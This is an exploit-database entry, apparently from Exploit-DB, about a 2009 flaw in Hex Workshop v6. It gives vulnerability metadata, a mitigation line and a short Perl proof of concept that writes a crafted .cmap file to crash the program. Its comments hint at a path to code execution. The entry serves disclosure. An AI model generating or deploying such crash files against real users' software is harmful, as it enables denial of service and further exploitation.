header-logo
Suggest Exploit
vendor:
Hex Workshop
by:
DATA_SNIPER
7.8
CVSS
HIGH
Invalid Memory Reference
119
CWE
Product Name: Hex Workshop
Affected Version From: v6
Affected Version To: v6
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2009

Hex Workshop v6 “ColorMap files .cmap” Invalid Memory Reference Crash POC

Hex Workshop v6 is vulnerable to an invalid memory reference crash when a specially crafted .cmap file is opened. The vulnerability is caused due to a boundary error when handling the 'RGB' value of the .cmap file. This can be exploited to cause a denial of service when a user opens a specially crafted .cmap file.

Mitigation:

Upgrade to the latest version of Hex Workshop v6
Source

Exploit-DB raw data:

#!/usr/bin/perl -w
# Hex Workshop v6 "ColorMap files .cmap" Invalid Memory Reference Crash POC
# Discovred by : DATA_SNIPER
# for more information vist my blog:http://datasniper.arab4services.net/
# the Exploit it's  very hard to implemented,if we can make the "reference" point to  valid memory location contain
# unicode string we can corrupt the memory and get code execution(it's not so easy as you can see,try it manually in olly).
print "==========================================================================\n";
print "Hex Workshop v6 (ColorMap files .cmap) Invalid Memory Reference crash POC\n";
print "Discovred by DATA_SNIPER\n";
print "Greetz to: arab4services team and AT4RE Team\n";
print "===================================================================== \n";
my $crash = '#Simple POC by DATA_SNIPER'."\n".'"%s"= RGB(0, 0, 0)'; #don't worry about it ,it's not Format string bug :)
my $file = "cr4sh.cmap" ;
open(my $data, ">>$file") or die "Cannot open $file";
print $data $crash;
close($data);
print "$file has been created\n";
print "open it in HexWorkshop.\n";

# milw0rm.com [2009-02-03]